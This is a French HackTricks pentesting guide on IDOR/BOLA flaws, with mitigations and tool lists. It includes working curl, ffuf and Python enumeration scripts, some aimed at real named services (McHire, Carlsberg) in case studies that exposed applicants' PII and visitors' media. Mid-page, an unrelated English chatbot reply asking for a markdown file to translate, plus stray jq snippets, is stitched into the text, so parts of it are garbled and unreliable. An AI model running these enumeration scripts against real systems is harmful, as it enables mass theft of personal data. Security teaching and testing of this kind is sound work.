IDOR (Insecure Direct Object Reference)
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) apparaît lorsqu’un endpoint web ou API divulgue ou accepte un identifiant contrôlable par l’utilisateur qui est utilisé directement pour accéder à un objet interne sans vérifier que l’appelant est autorisé à accéder/modifier cet objet. Une exploitation réussie permet généralement une élévation de privilèges horizontale ou verticale, comme la lecture ou la modification des données d’autres utilisateurs et, dans le pire des cas, la prise de contrôle complète d’un compte ou l’exfiltration massive de données.
1. Identifier les IDORs potentiels
- Recherchez des paramètres qui référencent un objet :
- Path:
/api/user/1234,/files/550e8400-e29b-41d4-a716-446655440000 - Query:
?id=42,?invoice=2024-00001 - Body / JSON:
{"user_id": 321, "order_id": 987} - Headers / Cookies:
X-Client-ID: 4711
- Préférez les endpoints qui lisent ou mettent à jour des données (
GET,PUT,PATCH,DELETE). - Notez quand les identifiants sont séquentiels ou prédictibles – si votre ID est
64185742, alors64185741existe probablement. - Explorez les flux cachés ou alternatifs (par ex. “Paradox team members” link sur les pages de login) qui pourraient exposer des APIs supplémentaires.
- Utilisez une session authentifiée à faible privilège et ne changez que l’ID en gardant le même token/cookie. L’absence d’une erreur d’autorisation est généralement un signe d’IDOR.
Manipulation manuelle rapide (Burp Repeater)
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json
{"lead_id":64185741}
Énumération automatisée (Burp Intruder / curl loop)
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done
Énumération d’IDs de téléchargement prévisibles (ffuf)
Les panels d’hébergement de fichiers authentifiés stockent souvent les métadonnées par utilisateur dans une seule table files et exposent un endpoint de téléchargement tel que /download.php?id=<int>. Si le gestionnaire vérifie seulement si l’ID existe (et pas s’il appartient à l’utilisateur authentifié), vous pouvez balayer l’espace des entiers avec votre cookie de session valide et voler les sauvegardes/configs d’autres locataires :
ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json # fetch surviving IDs such as company backups or signing keys
-frsupprime 404-style templates afin de ne conserver que les vrais hits (e.g., IDs 54/150 leaking full site backups and signing material).- Le même workflow FFUF fonctionne avec Burp Intruder ou une boucle curl — assurez-vous simplement de rester authentifié pendant que vous incrémentez les IDs.
Énumération combinatoire authentifiée (ffuf + jq)
Certaines IDORs acceptent multiple object IDs (e.g., chat threads between two users). Si l’app vérifie seulement que vous êtes connecté, vous pouvez fuzz les deux IDs tout en gardant votre session cookie:
ffuf -u 'http://target/chat.php?chat_users[0]=NUM1&chat_users[1]=NUM2' \
-w <(seq 1 62):NUM1 -w <(seq 1 62):NUM2 \
-H 'Cookie: PHPSESSID=<session>' \
-ac -o chats.json -of json
I don’t have the content of src/pentesting-web/idor.md. Please paste the file contents (the markdown) you want translated.
Meanwhile, to post-process JSON output and remove symmetric duplicate pairs (treat (A,B) and (B,A) as the same) here are a couple of jq options depending on your JSON shape.
- If your JSON is an array of 2-element arrays, e.g. [[“A”,“B”],[“B”,“A”],…], and you want to keep the first occurrence of each unordered pair:
jq ‘reduce .[] as $pair ( []; if any(.[]; . == [$pair[1], $pair[0]]) then . else . + [$pair] end )’
Explanation: iterates the input, and only appends a pair if its swapped counterpart hasn’t already been added.
- If your JSON is an array of objects with fields “a” and “b”, e.g. [{“a”:“A”,“b”:“B”}, {“a”:“B”,“b”:“A”}, …]:
jq ‘reduce .[] as $item ( []; if any(.[]; (.a == $item.b and .b == $item.a)) then . else . + [$item] end )’
- Alternative (lossy orientation) — normalize each pair by sorting and take unique (results may reorder elements within each pair):
jq ‘map([.[0], .[1]] | sort) | unique’
Pick the appropriate command and paste the markdown content to translate.
jq -r '.results[] | select((.input.NUM1|tonumber) < (.input.NUM2|tonumber)) | .url' chats.json
Oracle de réponse d’erreur pour l’énumération user/file
Quand un download endpoint accepte à la fois un username et un filename (par ex. /view.php?username=<u>&file=<f>), de subtiles différences dans les messages d’erreur créent souvent une oracle :
- username inexistant → “User not found”
- filename incorrect mais extension valide → “File does not exist” (parfois liste aussi les fichiers disponibles)
- extension incorrecte → validation error
Avec n’importe quelle session authentifiée, vous pouvez fuzz le paramètre username tout en gardant un filename bénin et filtrer sur la chaîne “User not found” pour découvrir des users valides:
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'
Une fois des noms d’utilisateur valides identifiés, demandez directement des fichiers spécifiques (par ex., /view.php?username=amanda&file=privacy.odt). Ce schéma conduit souvent à la divulgation non autorisée des documents d’autres utilisateurs et à la fuite de credentials.
2. Étude de cas réelle – McHire Chatbot Platform (2025)
Lors d’une évaluation du portail de recrutement McHire propulsé par Paradox.ai, l’IDOR suivant a été découvert :
- Endpoint:
PUT /api/lead/cem-xhr - Authorization: cookie de session utilisateur pour n’importe quel compte de test restaurant
- Body parameter:
{"lead_id": N}– identifiant numérique de 8 chiffres, séquentiel
En diminuant lead_id, le testeur a récupéré les PII complètes de candidats arbitraires (nom, e-mail, téléphone, adresse, préférences d’horaires) ainsi qu’un JWT utilisateur qui a permis le détournement de session. L’énumération de la plage 1 – 64,185,742 a exposé environ 64 millions d’enregistrements.
Requête Proof-of-Concept :
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
Combinée aux identifiants administrateur par défaut (123456:123456) qui donnaient accès au compte de test, la vulnérabilité a entraîné une violation de données critique à l’échelle de l’entreprise.
Étude de cas – QR codes de bracelets comme weak bearer tokens (2025–2026)
Flux : Les visiteurs de l’exposition recevaient des bracelets avec QR codes ; en scannant https://homeofcarlsberg.com/memories/ le navigateur récupérait l’ID imprimé du bracelet, l’encodeait en hexadécimal, et appelait un backend cloudfunctions.net pour récupérer les médias stockés (photos/vidéos + noms). Il n’y avait no session binding ni authentification utilisateur — la connaissance de l’ID = autorisation.
Prévisibilité : Les ID de bracelets suivaient un motif court tel que C-285-100 → ASCII hex 432d3238352d313030 (43 2d 32 38 35 2d 31 30 30). L’espace de clés était estimé à ~26M de combinaisons, trivial à épuiser en ligne.
Flux d’exploitation avec Burp Intruder :
- Payload generation : Générez des IDs candidats (par ex.,
[A-Z]-###-###). Utilisez une attaque Burp Intruder Pitchfork ou Cluster Bomb avec des positions pour la lettre et les chiffres. Ajoutez une payload processing rule → Add prefix/suffix → payload encoding: ASCII hex pour que chaque requête transmette la chaîne hex attendue par le backend. - Response grep : Configurez Intruder grep-match sur des marqueurs présents uniquement dans les réponses valides (p.ex., URLs de médias/champs JSON). Les IDs invalides renvoyaient typiquement un tableau vide/404.
- Mesure du débit : ~1,000,000 d’IDs ont été testés en ~2 heures depuis un laptop (~139 req/s). À ce rythme, l’espace de clés complet (~26M) tomberait en ~52 heures. L’exécution d’exemple a déjà exposé ~500 bracelets valides (vidéos + noms complets).
- Vérification du rate-limiting : Après que le vendor a affirmé un throttling, relancez la même config Intruder. Un débit/taux de hits identique a prouvé que le contrôle était absent/inefficace ; l’énumération s’est poursuivie sans entrave.
Quick scriptable variant (client-side hex encoding):
import requests
def to_hex(s):
return ''.join(f"{ord(c):02x}" for c in s)
for band_id in ["C-285-100", "T-544-492"]:
hex_id = to_hex(band_id)
r = requests.get("https://homeofcarlsberg.com/memories/api", params={"id": hex_id})
if r.ok and "media" in r.text:
print(band_id, "->", r.json())
Leçon : Encodage (ASCII→hex/Base64) n’ajoute pas d’entropie ; les IDs courts deviennent des bearer tokens qui sont énumérables malgré un encodage cosmétique. Sans autorisation par utilisateur + secrets à haute entropie, media/PII peuvent être récoltés en masse même si “rate limiting” est prétendu.
3. Impact d’IDOR / BOLA
- Escalade horizontale – lire/mettre à jour/supprimer les données des autres utilisateurs.
- Escalade verticale – un utilisateur peu privilégié obtient des fonctionnalités réservées aux administrateurs.
- Exposition massive de données si les identifiants sont séquentiels (p.ex., IDs de candidats, factures).
- Prise de contrôle de comptes en volant des tokens ou en réinitialisant les mots de passe d’autres utilisateurs.
4. Mesures d’atténuation & bonnes pratiques
- Imposer une autorisation au niveau objet sur chaque requête (
user_id == session.user). - Privilégier des identifiants indirects et imprévisibles (UUIDv4, ULID) plutôt que des IDs auto-incrémentés.
- Effectuer l’autorisation côté serveur, ne jamais se fier aux champs de formulaire cachés ou aux contrôles UI.
- Implémenter des vérifications RBAC / ABAC dans un middleware central.
- Ajouter rate-limiting & logging pour détecter l’énumération des IDs.
- Tester la sécurité de chaque nouvel endpoint (unit, integration, et DAST).
5. Outils
- BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
- OWASP ZAP: Auth Matrix, Forced Browse.
- Github projects:
bwapp-idor-scanner,Blindy(bulk IDOR hunting).
Références
- McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII
- OWASP Top 10 – Broken Access Control
- How to Find More IDORs – Vickie Li
- HTB Nocturnal: IDOR oracle → file theft
- 0xdf – HTB Era: predictable download IDs → backups and signing keys
- 0xdf – HTB: Guardian
- Carlsberg memories wristband IDOR – predictable QR IDs + Intruder brute force (2026)
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


